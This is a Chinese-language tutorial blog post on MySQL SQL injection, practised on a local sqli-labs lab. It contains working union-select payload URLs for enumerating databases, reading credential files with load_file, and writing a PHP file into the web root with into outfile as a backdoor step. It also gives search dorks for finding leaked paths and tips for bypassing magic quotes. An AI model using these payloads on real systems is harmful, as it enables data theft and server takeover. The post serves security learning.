MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。

使用sqlilabs靶场测试
可以看到这个用户名时是root,是最高权限,除root之外都是普通用户

1、高权限注入及低权限注入
(1)跨库查询及应用思路
原理:一个网站的注入点影响到另一个网站的数据,需要root型注入点
查看数据库:show databases;

通过’ select * from mysql.sql; '语句,查询数据库中所有数据库用户;普通用户的权限低,只有root用户可以注入到其他数据库

内置数据库 information_schema 表特性:
记录schemata库名,tables表名,columns列名

查询schemata

实现跨库注入,首先需要获得跨库的数据库的名字
- 通过SQL语句注入,获得所有数据库名字
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
注意:group_concat()可以获取所有的

- 获取指定dvwa数据库名下的表名信息
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’
- 获取指定dvwa数据库名下的表名users下的列名信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’
如果直接这样写,很可能把其他数据库里面的users给查询出来,需要再做一些其他添加
如下:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’

跨库选择表:需要在表前添加该表的数据库名称,否则会默认为当前库的表,如select * from dvwa.users;

(2)文件读写操作
会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。
MySQL数据库里两个内置函数:
load_file(): 读取函数
into outfile 或者 into dumpfile:导出/写入函数
导入文件时报错,需要修改my.ini配置文件

设置好后查看权限

后续还是报错,发现需要把文件写入有权限的文件夹中
select ‘x’ into outfile ‘D:/phpStudy_64/phpstudy_pro/Extensions/MySQL5.7.26/outfile/1.txt’;

文件创建成功:

3、路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等;
(1)报错显示
intext:warning inurl:php

(2)遗留文件
inurl:phpinfo.php
类似于phpinfo()文件,为了调试信息遗留的文件,命名一般为phpinfo()之类的
可以用工具扫描到

(3)漏洞报错
知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径、phpmyadmin等


(4)平台配置文件
搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取

(5)爆破
极端情况才使用

4、常见读取文件列表
查看之前创建的1.txt文件
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,load_file(‘D:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\outfile\1.txt’),3
注意:一定要是双斜杠 \ ,防止转义
出现了1.txt文件内容 x

查看sqlilabs的配置文件db-creds.inc
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select% 1,load_file(‘D:\phpStudy_64\phpstudy_pro\WWW\sqlilabs\sql-connections\db-creds.inc’),3
检查源代码,发现配置文件已出现

5、常见写入文件
写入x到x.php文件中
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,‘x’,3 into outfile ‘D:\phpStudy_64\phpstudy_pro\WWW\sqlilabs\x.php’–+
注意:末尾需要加–+来注释掉limit

源码中的limit 0,1

文件生成成功:

查看x.php文件,1 3不相干不用管,只要x写入了就行

在实战中x就是后门代码,x.php可以用后门工具连接上去,相当于获取到网站的权限,可以一步到位
7、常见写入文件问题:魔术引号开关
magic_quotes_gpc
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,导致路径错误。这些转义是必须的。
绕过防护机制的方法:
7、魔术引号及常见防护
(1)采用编码或者宽字节
采用编码或者宽字节,利用工具把路径编码一下,转成十六进制,就可以不需要使用单引号,就可以正常解析

(2)采用内置函数进行防护

还有更多内置函数也可以进行防护
正常情况遇到的不多
(3)自定义关键字:select
修改less-2的文件,添加语句id=strreplace(′select′,′fuck′,id=str_replace('select','fuck',id=strreplace(′select′,′fuck′,id); ,将select转换成fuck;

http://127.0.0.1/sqlilabs/Less-2/?id=1 union select 1,2,3

(4)WAF防护软件:安全狗,宝塔等

8、低版本数据库注入配合读取和暴力
字典或读取;
暴力查询或结合读取查询;
sqlmap下的字典

本文探讨了MySQL SQL注入攻击,区分了高权限和低权限注入,并详细介绍了跨库查询、文件读写、路径获取、常见防护机制以及如何绕过魔术引号防护。通过实例展示了如何利用SQL语句获取数据库信息、读取和写入文件,同时提到了WAF防护软件的作用。


2093

被折叠的 条评论
为什么被折叠?



